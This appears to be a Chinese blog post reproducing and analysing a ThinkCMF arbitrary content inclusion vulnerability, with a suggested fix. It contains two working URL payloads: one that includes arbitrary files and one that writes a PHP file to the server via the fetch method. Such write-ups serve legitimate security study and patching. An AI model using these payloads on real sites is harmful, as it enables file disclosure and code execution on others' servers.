thinkcmfx漏洞太大_[漏洞复现]:ThinkCMF框架任意内容包含漏洞

漏洞详情

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。

利用前提

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

漏洞复现

通过构造a参数的display方法,实现任意内容包含

payload:http://127.0.0.1/cmfx-X2.2.2/?a=display&templateFile=README.md

通过构造a参数的fetch方法,实现任意文件写入,复现过程中有时能写入,有时无法写入。

payload:?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','<?php phpinfo(); ?>')

漏洞分析

首先打开index.php,找到项目路径,定位到application

//开启调试模式

define("APP_DEBUG", true);

//网站当前路径

define('SITE_PATH', dirname(__FILE__)."/");

//项目路径,不可更改

define('APP_PATH', SITE_PATH . 'application/');

//项目相对路径,不可更改

define('SPAPP_PATH', SITE_PATH.'simplewind/');

//

define('SPAPP', './application/');

//项目资源目录,不可更改

define('SPSTATIC', SITE_PATH.'statics/');

//定义缓存存放路径

define("RUNTIME_PATH", SITE_PATH . "data/runtime/");

//静态缓存目录

define("HTML_PATH", SITE_PATH . "data/runtime/Html/");

打开application/Portal/Controller/IndexController,发现display方法,继续追踪HomebaseController

use Common\Controller\HomebaseController;

/**

* 首页

*/

class IndexController extends HomebaseController {

//首页 小夏是老猫除外最帅的男人了

public function index() {

$this->display(":index");

}

}

追踪HomebaseController,定位到display方法,display函数的作用是加载模板和页面输出,templateFile为模板文件地址,charset为模板字符集,contentType为输出类型,content为输出内容。另外存在public权限的函数还有fetch,fetch函数的作用是获取页面内容,templateFile为模板文件,content为输出内容,prefix为模板缓存前缀。

防御

将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。

参考

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值